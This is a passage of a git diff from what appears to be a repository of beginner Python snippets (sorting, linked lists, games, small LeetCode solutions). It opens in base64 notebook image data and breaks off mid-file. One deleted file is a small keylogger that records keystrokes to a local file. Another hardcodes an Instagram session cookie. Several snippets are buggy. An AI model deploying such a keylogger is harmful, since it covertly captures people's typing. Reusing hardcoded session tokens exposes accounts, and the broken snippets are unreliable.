AJ9imMrUcEOHz+bBnzx60trYa1pWnH086KYO6tcdrJJEgpOla6myA2/lDbL1JIYc8yZJOTk4aL15uAnJltrKPsDf2xx9/jOPHjzsUnG4sOcehVC6g0O/3Y3p6GteuXYPWGnNzc6aWUimgiNTZ2Qmfz4eRkRFT0/rMmTNQShnx64voZeyxSMKtVK50x5e//GUcOnQI8XgckUgEjY2N6O3txaFDhwpygLJ9+tJkMhlMTU0hHo+jubkZ7e3tGBoaMspPVk6gQpev2Y788/v9aGpqQiAQMFUXeNDZvj625Yd7Qe4D6YPD1BR+vx+hUMhhCl9dXXUolAspXu3MAPac2By0vQ6hUMiY3jkvJEy2XpPjLLrOpcjTSqkfAvhT5MrOXgLwbQAhAL8AsA/5MrVa60T++u8D+PP89X+ltf7vLdpfAjC0ZUd2HxoBFK/hufvwII4JeDDHdT/HtF9r7ar3KInIbDeUUue11id3uh/3Gg/iuB7EMQEP5rjKZUxl6fFbQQUVPDioEJkKKqhgW1EuROafdroD24QHcVwP4piAB3NcZTGmstDJVFBBBQ8uyoWTqaCCCh5QVIhMBRVUsK3YcSKjlPq6yqWE+FQp9d2d7k+pUEp1KKX+Tyn1icqlwfjL/Of3NAXGTkAp5VVKXVJKvZ1//yCMKaKU+qVSajC/Zo/t9nGp+5CC5Z5ABj7d7z/k0kaMAjgIwAegH0D3TvbpDvreAuDR/OtaAMMAugH8HYDv5j//LoC/zb/uzo/Pj1wc2CgA706Po8DY/hrAmwDezr9/EMb0BoBv51/7AER287iQCzoeAxDIv/8FgD8rxzHtNCfzBwA+1Vp/prXOAPgP5IIxyx5a6wmt9cX86yXkQi3acJ9SYGwXlFLtAP4IwE/Fx7t9TGEATwH4GQBorTNa63ns8nFhB1Ow3Al2msiUlBai3KGU6gRwAsBH+IIpMMoA/wDgbwDIgJTdPqaDAGYA/HNeDPypUiqIXTwuvU0pWLYDO01kSkoLUc5QSoUAvIVcjNZisUtdPiursSql/hjAtNb6Qqm3uHxWVmPKowrAowBe11qfAJBCPpNjAZT9uNQ2pWDZDuw0kfnCaSF2EkqpauQIzL9prX+V/3hK5VJfQN3jFBj3AU8A+BOlVBw50fUZpdS/YnePCcj184bW+qP8+18iR3R287hMChat9ToARwoWoHzGtNNE5hyAI0qpA0opH3K5gf9rh/tUElQuzv1nAD7RWr8qvtqWFBj3A1rr72mt27XWncitxXta629hF48JALTWkwCuK6WO5j/6GoBr2N3juq8pWL4QykBL/iJylplRAN/f6f7cQb+fRI7dvALgcv7vRQANyCVWH8n/rxf3fD8/ziEAL+z0GLYY3x/itnVp148JwCMAzufX6z8BRHf7uAD8EMAggAEA/4Kc5ajsxlQJK6igggq2FTstLlVQQQUPOCpEpoIKKthWVIhMBRVUsK2oEJkKKqhgW1EhMhVUUMG2okJkKqiggm1FhchUUEEF24r/B2/44L8TtsX6AAAAAElFTkSuQmCC\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "sketch_img = cv2.divide(grey_img,inv_blur_img,scale=256.0)\n", - "sketch_rgb_img = cv2.cvtColor(sketch_img, cv2.COLOR_BGR2RGB)\n", - "plt.imshow(sketch_rgb_img)" - ] - } - ], - "metadata": { - "kernelspec": { - "display_name": "Python 3 (ipykernel)", - "language": "python", - "name": "python3" - }, - "language_info": { - "codemirror_mode": { - "name": "ipython", - "version": 3 - }, - "file_extension": ".py", - "mimetype": "text/x-python", - "name": "python", - "nbconvert_exporter": "python", - "pygments_lexer": "ipython3", - "version": "3.9.7" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} diff --git a/Add Code Here/PYTHON/Infix-to-Postfix.py b/Add Code Here/PYTHON/Infix-to-Postfix.py deleted file mode 100644 index 2596e974275..00000000000 --- a/Add Code Here/PYTHON/Infix-to-Postfix.py +++ /dev/null @@ -1,83 +0,0 @@ -# -*- coding: utf-8 -*- -"""DS&A Assignment 1_ Task_1.ipynb - -Automatically generated by Colaboratory. - -Original file is located at - https://colab.research.google.com/drive/1pThqaVR95evQswGsCvotjD_1ihTQuA-E -""" - -from collections import deque - -class stack: - def __init__(self): - self.prefix=deque() - self.input=deque() - self.stk=deque() - - def push(self,element): - self.stk.append(element) - def pop(self): - return self.stk.pop() - def top(self): - return self.stk[-1] - def is_empty(self): - return len(self.stk)==0 - def conversion(self,strg): - for x in strg: - self.input.append(x) - for x in range(0, len(self.input)): - z=self.input.pop() - if z in ")]}": - self.push(z) - elif z in "asdfghjklqwertyuiopzxcvbnmASDFGHJKLZXCVBNMQWERTYUIOP": - self.prefix.append(z) - elif z in "+-/*": - t=self.top() - if t in"+-": - if z in "+-*/": - self.push(z) - elif t in")}]": - self.push(z) - elif t in "*/": - if z in "*/": - self.push(z) - elif z in "+-": - self.prefix.append(self.pop()) - self.push(z) - tp=self.top() - - elif z in "{[(": - ln=len(self.stk) - for p in range(0,ln): - topp=self.top() - print("on top there wad") - - if topp in "+-/*": - self.prefix.append(self.pop()) - elif topp in "}])": - exit() - self.pop() - - - def pref(self): - d=len(self.prefix) - x=d-1 - pprefix=[] - str="" - w=len(str) - if w > 0: - str="" - - for z in range(0,d): - str=self.prefix.pop()+str - return(str[::-1]) - -obj=stack() - -obj.conversion("((AX+B*CY)/(D-E))") -print("Prefix :",obj.pref()) - -obj.conversion("((H*((((A+((B+C)*D))*F)*G)*E))+j)") -print("Prefix :",obj.pref()) - diff --git a/Add Code Here/PYTHON/Infix2postfix conversion.py b/Add Code Here/PYTHON/Infix2postfix conversion.py deleted file mode 100644 index 0e4b5dbd52d..00000000000 --- a/Add Code Here/PYTHON/Infix2postfix conversion.py +++ /dev/null @@ -1,73 +0,0 @@ -class Conversion: - - def __init__(self, capacity): - self.top = -1 - self.capacity = capacity - self.array = [] - self.output = [] - self.precedence = {'+':1, '-':1, '*':2, '/':2, '^':3} - - def isEmpty(self): - return True if self.top == -1 else False - - def peek(self): - return self.array[-1] - - def pop(self): - if not self.isEmpty(): - self.top -= 1 - return self.array.pop() - else: - return "empty" - - def push(self, op): - self.top += 1 - self.array.append(op) - - def isOperand(self, ch): - return ch.isalpha() - - - def notGreater(self, i): - try: - a = self.precedence[i] - b = self.precedence[self.peek()] - return True if a <= b else False - except KeyError: - return False - - def infixToPostfix(self, exp): - - for i in exp: - - if self.isOperand(i): - self.output.append(i) - - - elif i == '(': - self.push(i) - - elif i == ')': - while( (not self.isEmpty()) and self.peek() != '('): - a = self.pop() - self.output.append(a) - if (not self.isEmpty() and self.peek() != '('): - return -1 - else: - self.pop() - - - else: - while(not self.isEmpty() and self.notGreater(i)): - self.output.append(self.pop()) - self.push(i) - - - while not self.isEmpty(): - self.output.append(self.pop()) - - print ("".join(self.output) ) - -exp = "a+b*(c^d-e)^(f+g*h)-i" -obj = Conversion(len(exp)) -obj.infixToPostfix(exp) diff --git a/Add Code Here/PYTHON/Instagram Reel Downloader.py b/Add Code Here/PYTHON/Instagram Reel Downloader.py deleted file mode 100644 index 5b5aaa55c4a..00000000000 --- a/Add Code Here/PYTHON/Instagram Reel Downloader.py +++ /dev/null @@ -1,72 +0,0 @@ -from tkinter import * -from PIL import ImageTk, Image -import tkinter.font as font -from tkinter import messagebox -from instascrape import Reel -import time - -root =Tk() -root.title("Instagram Reel Downloader") -root.minsize(600,500) -root.maxsize(600,500) -HEIGHT = 500 -WIDTH = 600 -FONT = font.Font(family ="Times New Roman", size ="18", weight ="bold") - - -def download(link): - try: - if (link): - SESSIONID = "18614737527%3ApTLwFoXv5BZohu%3A4" - headers = { - "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.74 Safari/537.36 Edg/79.0.309.43", - "cookie":f'sessionid={SESSIONID};' - } - - google_reel=Reel(link) - google_reel.scrape(headers=headers) - google_reel.download(fp=f".\\reel{int(time.time())}.mp4") - messagebox.showinfo("Status","Reel downloaded successfully") - else: - messagebox.showwarning("Empty field","Please fill out the field") - except Exception as e: - messagebox.showerror("Error","Something went wrong. Please try again later.") - - -canvas = Canvas(root,height = HEIGHT, width = WIDTH) -canvas.pack() - -frame=Frame(root,bg="white") -frame.place(relwidth=1,relheight=1) - -background_image = ImageTk.PhotoImage(Image.open(r"C:\Users\ASUS\OneDrive\Desktop\Prof\copyassign\instareel\insta5.jpg")) -background_label = Label(frame, image = background_image) -background_label.place(relx=-0.25,relwidth = 0.7, relheight =1) - - -label1 = Label(frame, text = "Download Reels in a Click!", font =FONT, bd =5, fg= "#0d1137",bg="white") -label1.place(relx = 0.48, rely = 0.1, relheight =0.1) - - - -FONT = font.Font(family ="Times New Roman", size ="12", weight ="bold") -label2 = Label(frame, text = "Enter link address: ", font =FONT, bd =5, fg= "#e52165",bg="white") -label2.place(relx = 0.48, rely = 0.25, relheight =0.1) - -entry = Entry(frame, font = FONT, fg = "#fbad50") -entry.place(relx = 0.48, rely = 0.35,relwidth=0.4, relheight = 0.05) - -button1 = Button(root, text = "Download", font = FONT, bg = "pink", fg = "black", activeforeground = "pink", activebackground = "black",command=lambda:download(entry.get())) -button1.place(relx = 0.48,rely = 0.45,relwidth = 0.2, relheight = 0.06) - -label2 = Label(frame, text = "Instructions: ", font =FONT, bd =5, fg= "#0d1137",bg="white") -label2.place(relx = 0.48, rely = 0.6, relheight =0.1) - -FONT = font.Font(family ="Times New Roman", size ="10", weight ="bold") -TEXT="1.Only public account reels can be downloaded\n2.Enter the link address of reel from the Instagram\n3.This is not meant to be used for mischeif" -label2 = Label(frame, text = TEXT, font =FONT, bd =5, fg= "#cd486b",justify=LEFT,bg="white") -label2.place(relx = 0.48, rely = 0.7, relheight =0.1) - - - -root.mainloop() \ No newline at end of file diff --git a/Add Code Here/PYTHON/K-nearest-neighbour-Algorithnm.py b/Add Code Here/PYTHON/K-nearest-neighbour-Algorithnm.py new file mode 100644 index 00000000000..31ffd717f60 --- /dev/null +++ b/Add Code Here/PYTHON/K-nearest-neighbour-Algorithnm.py @@ -0,0 +1,24 @@ +# Import necessary modules +from sklearn.neighbors import KNeighborsClassifier +from sklearn.model_selection import train_test_split +from sklearn.datasets import load_iris + +# Loading data +irisData = load_iris() + +# Create feature and target arrays +X = irisData.data +y = irisData.target + +# Split into training and test set +X_train, X_test, y_train, y_test = train_test_split( + X, y, test_size = 0.2, random_state=42) + +knn = KNeighborsClassifier(n_neighbors=7) + +knn.fit(X_train, y_train) + +# Predict on dataset which model has not seen before +print(knn.predict(X_test)) + +#Contributer -- RP2025 \ No newline at end of file diff --git a/Add Code Here/PYTHON/Key_logger.py b/Add Code Here/PYTHON/Key_logger.py deleted file mode 100644 index 963944df204..00000000000 --- a/Add Code Here/PYTHON/Key_logger.py +++ /dev/null @@ -1,23 +0,0 @@ -from pynput.keyboard import Key, Controller,Listener -import time -keyboard = Controller() - - -keys=[] -def on_press(key): - global keys - #keys.append(str(key).replace("'","")) - string = str(key).replace("'","") - keys.append(string) - main_string = "".join(keys) - print(main_string) - if len(main_string)>15: - with open('keys.txt', 'a') as f: - f.write(main_string) - keys= [] -def on_release(key): - if key == Key.esc: - return False - -with listener(on_press=on_press,on_release=on_release) as listener: - listener.join() \ No newline at end of file diff --git a/Add Code Here/PYTHON/LinkedList.py b/Add Code Here/PYTHON/LinkedList.py deleted file mode 100644 index 5287f1770d8..00000000000 --- a/Add Code Here/PYTHON/LinkedList.py +++ /dev/null @@ -1,38 +0,0 @@ -#creation and printing - -class Node: - def __init__(self,data): - self.data=data - self.next=None - -class LinkedList: - def __init__(self): - self.head=None - - def printing(self): - temp=self.head - while (temp.next): - print(temp.data) - temp=temp.next - -# Code execution starts here -if __name__=='__main__': - - lst=LinkedList() #empty list with head = none - - lst.head=Node(1) #create 1st node with data 1 and prop next none - second=Node(2) - third=Node(3) - - #we created three nodes but havent linked yet - - #lets link them together - lst.head.next=second - second.next=third - - #for printing lets create a printing function in linkedList - lst.printing() - - - - diff --git a/Add Code Here/PYTHON/LinkedList/insert_node.py b/Add Code Here/PYTHON/LinkedList/insert_node.py new file mode 100644 index 00000000000..8021f00906a --- /dev/null +++ b/Add Code Here/PYTHON/LinkedList/insert_node.py @@ -0,0 +1,34 @@ +class node: + def __init__(self,val,nxt=None): + self.val=val + self.nxt=nxt + +class LL: + def __init__(self,head=None): + self.head=head + + def insert_node(self,x): + """ + Code to add node at end + """ + if not self.head: + self.head=node(x) + return + h=self.head + while h.nxt: + h=h.nxt + h.nxt=node(x) + + + def Print(self): + h=self.head + while h: + print(h.val,end=' -> ') + h=h.nxt + print('NULL') + +a=[10,20,40,80,6] +ll=LL() +for i in a: + ll.insert_node(i) +ll.Print() diff --git a/Add Code Here/PYTHON/Lychrel.py b/Add Code Here/PYTHON/Lychrel.py deleted file mode 100644 index f6fd6f33372..00000000000 --- a/Add Code Here/PYTHON/Lychrel.py +++ /dev/null @@ -1,47 +0,0 @@ -""" Code to solve Lychrel number - So this is a very popular math question - The idea is to take any number as num and reverse it. - Now add the reversed number to num and repeat the process unless - a palindrome is obtained. The weird thing about this process is that - for nearly every number ends with a palindrome except the number 196 - noone is able to explain why:)""" -""" -DO NOT REMOVE THIS COMMENT AS THE CODE BELOW INCREASE THE RECUSION LIMIT -THIS MAY ALSO RESULT TO TOTAL CRASH OF THE SYSTEM. IF YOUR PC IS STRONG ENOUGH TO TACKLE -RECURSION, FEEL FREE TO USE THE CODE BY REMOVING THE COMMENTS. - -#import sys -#sys.setrecursionlimit(1500) -""" -#function to solve the lychrel number -def prob(num): - temp=num - rev=0 - while(num>0): - dig=num%10 - rev=rev*10+dig - num=num//10 - if(temp==rev): - print(f"At last! we found a palindrome which is {temp}") - else: - print(f"The number {temp} isn't a palindrome!") - again = temp + reverse(temp) - prob(again) - - -#function to reverse a given number -def reverse(num): - reversed_num = 0 - - while num != 0: - digit = num % 10 - reversed_num = reversed_num * 10 + digit - num //= 10 - - return reversed_num - - -#driver code -num = int(input("Enter a two digit number or more")) -prob(num) - diff --git a/Add Code Here/PYTHON/Many CSVs into One.py b/Add Code Here/PYTHON/Many CSVs into One.py deleted file mode 100644 index dc2c2858088..00000000000 --- a/Add Code Here/PYTHON/Many CSVs into One.py +++ /dev/null @@ -1,22 +0,0 @@ -import os -import pandas as pd -path = "C:/Please/enter/file/path/" -os.listdir(path) -# print(path) - -# 2. creates list with files to merge based on name convention -file_list = [ - path + f for f in os.listdir(path) if f.startswith('file_name')] - -# 3. creates empty list to include the content of each file converted to pandas DF -csv_list = [] - -# 4. reads each (sorted) file in file_list, converts it to pandas DF and appends it to the csv_list -for file in sorted(file_list): - csv_list.append(pd.read_csv(file).assign(File_Name=os.path.basename(file))) - -# 5. merges single pandas DFs into a single DF, index is refreshed -csv_merged = pd.concat(csv_list, ignore_index=True) - -# 6. Single DF is saved to the path in CSV format, without index column -csv_merged.to_csv(path + 'Desired_name.csv', index=False) diff --git a/Add Code Here/PYTHON/Maximum Subarray.py b/Add Code Here/PYTHON/Maximum Subarray.py deleted file mode 100644 index 6bd751abe39..00000000000 --- a/Add Code Here/PYTHON/Maximum Subarray.py +++ /dev/null @@ -1,9 +0,0 @@ -def kadanesAlgorithm(array): - maxAtThisPoint = array[0] - finalMax = array[0] - - for num in array[1:]: - maxAtThisPoint = max(num, maxAtThisPoint + num) - finalMax = max(finalMax, maxAtThisPoint) - - return finalMax \ No newline at end of file diff --git a/Add Code Here/PYTHON/Minimum Elements to Add to Form a Given Sum.py b/Add Code Here/PYTHON/Minimum Elements to Add to Form a Given Sum.py deleted file mode 100644 index 0ad0f0c181f..00000000000 --- a/Add Code Here/PYTHON/Minimum Elements to Add to Form a Given Sum.py +++ /dev/null @@ -1,16 +0,0 @@ -class Solution(object): - def minElements(self, nums, limit, goal): - d=abs(goal-sum(nums)) - c=d%limit - if c==0: - return d//limit - else: - return d//limit+1 - - """ - :type nums: List[int] - :type limit: int - :type goal: int - :rtype: int - """ - diff --git a/Add Code Here/PYTHON/Move_all_zero_digits_to_end_of_given_list_of_numbers.py b/Add Code Here/PYTHON/Move_all_zero_digits_to_end_of_given_list_of_numbers.py deleted file mode 100644 index 26cd05fb96c..00000000000 --- a/Add Code Here/PYTHON/Move_all_zero_digits_to_end_of_given_list_of_numbers.py +++ /dev/null @@ -1,9 +0,0 @@ -def test(lst): - result = sorted(lst, key=lambda x: not x) - return result - -nums = [3,4,0,0,0,6,2,0,6,7,6,0,0,0,9,10,7,4,4,5,3,0,0,2,9,7,1] -print("\nOriginal list:") -print(nums) -print("\nMove all zero digits to end of the said list of numbers:") -print(test(nums)) diff --git a/Add Code Here/PYTHON/N-Queen.py b/Add Code Here/PYTHON/N-Queen.py deleted file mode 100644 index e9e0d507de3..00000000000 --- a/Add Code Here/PYTHON/N-Queen.py +++ /dev/null @@ -1,34 +0,0 @@ -# N-Queen using DFS -import collections -import sys -sys.setrecursionlimit(1000000) -N=int(input()) -queenpos=collections.deque() -def checkboard(y,x): - for dy,dx in queenpos: - if dy == y and dx == x: - continue - if dy == y: - return 0 - if dx == x: - return 0 - if abs(dy-y) == abs(dx-x): - return 0 - return 1 - -def DFS(y,x): - result = 0 - queenpos.append((y,x)) - if y == N-1: - result += checkboard(y,x) - else: - if checkboard(y,x) == 1: - for i in range(0,N): - result += DFS(y+1,i) - queenpos.pop() - return result -result = 0 -for i in range(0,N): - result += DFS(0,i) - -print(result) \ No newline at end of file diff --git a/Add Code Here/PYTHON/Number_Guessing_Game.py b/Add Code Here/PYTHON/Number_Guessing_Game.py deleted file mode 100644 index 2c059354d87..00000000000 --- a/Add Code Here/PYTHON/Number_Guessing_Game.py +++ /dev/null @@ -1,25 +0,0 @@ -import random - -print("Welcome to the Number Guessing Game ! ") -print("I'm thinking of a number between 1 and 100 .") -choose = input("Choose a difficulty. Type 'easy' or 'hard' : ") - -number = random.randint(1,100) - - -def game(attempts): - for i in range(attempts): - print(f"You have {attempts -i} attempts remaining .") - guess = int(input("Make a guess : ")) - if number == guess: - print("You Win ") - break - elif number > guess: - print("Too low") - else: - print("Too High ") - -if choose == "easy": - game(10) -else: - game(5) \ No newline at end of file diff --git a/Add Code Here/PYTHON/ODD OR EVEN b/Add Code Here/PYTHON/ODD OR EVEN deleted file mode 100644 index 0a3d832f2a9..00000000000 --- a/Add Code Here/PYTHON/ODD OR EVEN +++ /dev/null @@ -1,5 +0,0 @@ -num = int(input("Enter a number ")) -if (num % 2 == 0): - print("The Entered number is even") -else: - print("The Entered number is odd") diff --git a/Add Code Here/PYTHON/PROGRAM_TO_REM_iTH_OCC.py b/Add Code Here/PYTHON/PROGRAM_TO_REM_iTH_OCC.py new file mode 100644 index 00000000000..d2cbb5d9e71 --- /dev/null +++ b/Add Code Here/PYTHON/PROGRAM_TO_REM_iTH_OCC.py @@ -0,0 +1,18 @@ +#Program to remove the ith occurance of given word in a list where words repeat +c=[] +count=0 +A=list(map(str,input().split())) +print(A) +B=input("Enter Word to remove: ") +N=int(input("Enter the occurrence to remove: ")) +for i in A: + if i==B: + count+=1 + if count!=N: + c.append(i) + else: + c.append(i) +if count==0: + print("Item Not Found") +else: + print("Updated list is: ",c) diff --git a/Add Code Here/PYTHON/Palindrome Program.py b/Add Code Here/PYTHON/Palindrome Program.py deleted file mode 100644 index 7bc697fa3ac..00000000000 --- a/Add Code Here/PYTHON/Palindrome Program.py +++ /dev/null @@ -1,11 +0,0 @@ - -# Python Program to Identify It is a Palindrome or not - -def pal(num): - x1 = num[::-1] - if x1 == x: - print('palindrome') - else: - print('not a palindrome') - -print(pal('turtle')) diff --git a/Add Code Here/PYTHON/Palindrome.py b/Add Code Here/PYTHON/Palindrome.py new file mode 100644 index 00000000000..28ca3358449 --- /dev/null +++ b/Add Code Here/PYTHON/Palindrome.py @@ -0,0 +1,6 @@ +st=input("Enter a string: ") + +if(st==st[::-1]): + print("Is Palindrome.") +else: + print("Not Palindrome.") \ No newline at end of file diff --git a/Add Code Here/PYTHON/Pangram Checker b/Add Code Here/PYTHON/Pangram Checker deleted file mode 100644 index edddfebc62e..00000000000 --- a/Add Code Here/PYTHON/Pangram Checker +++ /dev/null @@ -1,10 +0,0 @@ -def checkPangram(str): - for i in "abcdefghijklmnopqrstuvwxyz": - if i not in str : - return False - return True -str=input("ENTER YOUR STRING:") -if checkPangram(str.lower()): - print(str,"IS A PANAGRAM") -else: - print(str,"IS NOT A PANAGRAM") diff --git a/Add Code Here/PYTHON/Pong Game.py b/Add Code Here/PYTHON/Pong Game.py deleted file mode 100644 index e2afeede825..00000000000 --- a/Add Code Here/PYTHON/Pong Game.py +++ /dev/null @@ -1,121 +0,0 @@ -import turtle as t -playerAscore=0 -playerBscore=0 - -#create a window and declare a variable called window and call the screen() -window=t.Screen() -window.title("The Pong Game") -window.bgcolor("green") -window.setup(width=800,height=600) -window.tracer(0) - -#Creating the left paddle -leftpaddle=t.Turtle() -leftpaddle.speed(0) -leftpaddle.shape("square") -leftpaddle.color("white") -leftpaddle.shapesize(stretch_wid=5,stretch_len=1) -leftpaddle.penup() -leftpaddle.goto(-350,0) - -#Creating the right paddle -rightpaddle=t.Turtle() -rightpaddle.speed(0) -rightpaddle.shape("square") -rightpaddle.color("white") -rightpaddle.shapesize(stretch_wid=5,stretch_len=1) -rightpaddle.penup() -rightpaddle.goto(-350,0) - -#Code for creating the ball -ball=t.Turtle() -ball.speed(0) -ball.shape("circle") -ball.color("red") -ball.penup() -ball.goto(5,5) -ballxdirection=0.2 -ballydirection=0.2 - -#Code for creating pen for scorecard update -pen=t.Turtle() -pen.speed(0) -pen.color("Blue") -pen.penup() -pen.hideturtle() -pen.goto(0,260) -pen.write("score",align="center",font=('Arial',24,'normal')) - -#code for moving the leftpaddle -def leftpaddleup(): - y=leftpaddle.ycor() - y=y+90 - leftpaddle.sety(y) - -def leftpaddledown(): - y=leftpaddle.ycor() - y=y+90 - leftpaddle.sety(y) - -#code for moving the rightpaddle -def rightpaddleup(): - y=rightpaddle.ycor() - y=y+90 - rightpaddle.sety(y) - -def rightpaddledown(): - y=rightpaddle.ycor() - y=y+90 - rightpaddle.sety(y) - -#Assign keys to play -window.listen() -window.onkeypress(leftpaddleup,'w') -window.onkeypress(leftpaddledown,'s') -window.onkeypress(rightpaddleup,'Up') -window.onkeypress(rightpaddledown,'Down') - -while True: - window.update() - - #moving the ball - ball.setx(ball.xcor()+ballxdirection) - ball.sety(ball.ycor()+ballxdirection) - - #border set up - if ball.ycor()>290: - ball.sety(290) - ballydirection=ballydirection*-1 - if ball.ycor()<-290: - ball.sety(-290) - ballydirection=ballydirection*-1 - - if ball.xcor() > 390: - ball.goto(0,0) - ball_dx = ball_dx * -1 - player_a_score = player_a_score + 1 - pen.clear() - pen.write("Player A: {} Player B: {} ".format(player_a_score,player_b_score),align="center",font=('Monaco',24,"normal")) - os.system("afplay wallhit.wav&") - - - - if(ball.xcor()) < -390: # Left width paddle Border - ball.goto(0,0) - ball_dx = ball_dx * -1 - player_b_score = player_b_score + 1 - pen.clear() - pen.write("Player A: {} Player B: {} ".format(player_a_score,player_b_score),align="center",font=('Monaco',24,"normal")) - os.system("afplay wallhit.wav&") - - # Handling the collisions with paddles. - - if(ball.xcor() > 340) and (ball.xcor() < 350) and (ball.ycor() < rightpaddle.ycor() + 40 and ball.ycor() > rightpaddle.ycor() - 40): - ball.setx(340) - ball_dx = ball_dx * -1 - os.system("afplay paddle.wav&") - - if(ball.xcor() < -340) and (ball.xcor() > -350) and (ball.ycor() < leftpaddle.ycor() + 40 and ball.ycor() > leftpaddle.ycor() - 40): - ball.setx(-340) - ball_dx = ball_dx * -1 - os.system("afplay paddle.wav&") diff --git a/Add Code Here/PYTHON/Process Text Files with Python.py b/Add Code Here/PYTHON/Process Text Files with Python.py deleted file mode 100644 index 086d7ef46ef..00000000000 --- a/Add Code Here/PYTHON/Process Text Files with Python.py +++ /dev/null @@ -1,56 +0,0 @@ -#! /usr/bin/env python3 - -#import necessary python modules -import os -import requests - -#Variable declaration -path = '/data/feedback/' -myLink = 'http:///feedback/' -myFiles = os.listdir(path) - -#Enter for-loop to process files -for file in myFiles: - #Open files and process data within - myData = open(path + file) - iData = myData.read().split('\n') - - #Create dictionary of the retreaved data - myDictionary = {"title":iData[0], "name":iData[1], "date":iData[2], "feedback":iData[3]} - - #Upload the feedback to the website - response = requests.post(myLink, json=myDictionary) - - #Close the files - myData.close() - -print(response.status_code) - - - - - - - -#! /usr/bin/env python3 - -import os -import requests - -def website(path): - data = {"title":"", "name":"", "date": "", "feedback": ""} - for files in os.listdir(path): - with open((os.path.join(path,files))) as f: - list_lines = [] - for lines in f: - list_lines.append(lines.strip()) - data['title'] = list_lines[0] - data['name'] = list_lines[1] - data['date'] = list_lines[2] - data['feedback'] = list_lines[3] - response = requests.post("http://35.192.145.90/feedback/",json=data) - print(response.request.body) - print(response.raise_for_status()) - -if __name__ == "__main__": - website("/data/feedback/") \ No newline at end of file diff --git a/Add Code Here/PYTHON/Python basic program b/Add Code Here/PYTHON/Python basic program deleted file mode 100644 index 799fc3d382c..00000000000 --- a/Add Code Here/PYTHON/Python basic program +++ /dev/null @@ -1,21 +0,0 @@ - -def run(): - my_list = [1, 'hola', True, 4.5] - my_dict = {"eric", "chavarria"} - super_list = [ - {"eric":"chavarria"}, - {"Ambar":"chavarria"} - ] - super_dict ={ - "numbers": [1,2,3,4,5], - "no_numbers": ['a','b','c'] - } - for key, value in super_dict.items(): - print(key, "-", value) - - for i in super_list: - for key, values in i.items(): - print(key,": ", values) - - for i in super_list: -# print(i.items()) \ No newline at end of file diff --git a/Add Code Here/PYTHON/Python/DAY1/README.md b/Add Code Here/PYTHON/Python/DAY1/README.md deleted file mode 100644 index 1bf71e4a803..00000000000 --- a/Add Code Here/PYTHON/Python/DAY1/README.md +++ /dev/null @@ -1,29 +0,0 @@ -# Day 1 - -### Question 1: - -- Given an array of integers nums and an integer target, return indices of the two numbers such that they add up to target. -- You may assume that each input would have exactly one solution, and you may not use the same element twice. -- You can return the answer in any order. - -### Thought process: - -- Start from the first element of the list -- If target-element exists as key in a dict, return [index of key from array, index of element from array] -- Else insert element as the key to the dict - -### Changes: - -- While inserting into the dict, insert index as the value - - -### Question 2: - -- Given a string s consisting of lowercase English letters, return the first letter to appear twice. -- Note: A letter a appears twice before another letter b if the second occurrence of a is before the second occurrence of b. -s will contain at least one letter that appears twice. - -### Thought process: - -- Start from the first character of the string and add it to a dict with its count -- If count gets to 2, return the character diff --git a/Add Code Here/PYTHON/Python/DAY1/solution1.py b/Add Code Here/PYTHON/Python/DAY1/solution1.py deleted file mode 100644 index b3281d5e240..00000000000 --- a/Add Code Here/PYTHON/Python/DAY1/solution1.py +++ /dev/null @@ -1,7 +0,0 @@ -class Solution: - def twoSum(self, nums: List[int], target: int) -> List[int]: - d = {} - for idx, num in enumerate(nums): - if target - num in d: - return list([d[target - num], idx]) - d[num] = idx diff --git a/Add Code Here/PYTHON/Python/DAY1/solution2.py b/Add Code Here/PYTHON/Python/DAY1/solution2.py deleted file mode 100644 index fb44c5a3a2b..00000000000 --- a/Add Code Here/PYTHON/Python/DAY1/solution2.py +++ /dev/null @@ -1,10 +0,0 @@ -class Solution: - def repeatedCharacter(self, s: str) -> str: - count = {} - for i in s: - if i not in count: - count[i] = 1 - else: - count[i] += 1 - if count[i] == 2: - return i diff --git a/Add Code Here/PYTHON/Python/DAY2/README.md b/Add Code Here/PYTHON/Python/DAY2/README.md deleted file mode 100644 index 50411c9103e..00000000000 --- a/Add Code Here/PYTHON/Python/DAY2/README.md +++ /dev/null @@ -1,16 +0,0 @@ -# Day 2 - -### Question: - -- Write a function to find the longest common prefix string amongst an array of strings. - -- If there is no common prefix, return an empty string "". - -### Thought Process: - -- Find the smallest word in the list -- Start comparing each character of that word with all other words of the list -- If there is not even a single same character, print "" -- Else append each character until the smallest word ends or there gets a break to a variable common and return that - - diff --git a/Add Code Here/PYTHON/Python/DAY2/solution1.py b/Add Code Here/PYTHON/Python/DAY2/solution1.py deleted file mode 100644 index 61f0db02a3e..00000000000 --- a/Add Code Here/PYTHON/Python/DAY2/solution1.py +++ /dev/null @@ -1,14 +0,0 @@ -class Solution: - def longestCommonPrefix(self, strs: List[str]) -> str: - smallest = sorted(strs, key=len)[0] - common = "" - for i in range(len(smallest)): - count = len(strs) - for j in sorted(strs, key=len): - if j[i] == smallest[i]: - count -= 1 - if count == 0: - common += j[i] - else: - return common - return common diff --git a/Add Code Here/PYTHON/Python/DAY3/README.md b/Add Code Here/PYTHON/Python/DAY3/README.md deleted file mode 100644 index 7eb545aa301..00000000000 --- a/Add Code Here/PYTHON/Python/DAY3/README.md +++ /dev/null @@ -1,32 +0,0 @@ -# DAY 3 - -### Question 1: - -- For example, 2 is written as II in Roman numeral, just two ones added -together. 12 is written as XII, which is simply X + II. The number 27 is -written as XXVII, which is XX + V + II. - -- Roman numerals are usually written largest to smallest from left to -right. -However, the numeral for four is not IIII. Instead, the number four is -written as IV. Because the one is before the five we subtract it making -four. The same principle applies to the number nine, which is written as -IX. There are six instances where subtraction is used: - -- I can be placed before V (5) and X (10) to make 4 and 9. -- X can be placed before L (50) and C (100) to make 40 and 90. -- C can be placed before D (500) and M (1000) to make 400 and 900. -- Given a roman numeral, convert it to an integer. - -### Thought process: - -- Initialize a dict with all the roman numeral to decimal value, and set i -as 0, and number as 0 -- Start from the ith letter in the given roman numeral - - If ith letter is less than (i+1)th letter: - - ```number += (i+1)th letter - ith letter``` - - ```i += 2``` - - Else: - - ```number += ith letter``` - - ```i += 1``` -- return number as the converted decimal diff --git a/Add Code Here/PYTHON/Python/DAY3/solution1.py b/Add Code Here/PYTHON/Python/DAY3/solution1.py deleted file mode 100644 index 996e6c26c7e..00000000000 --- a/Add Code 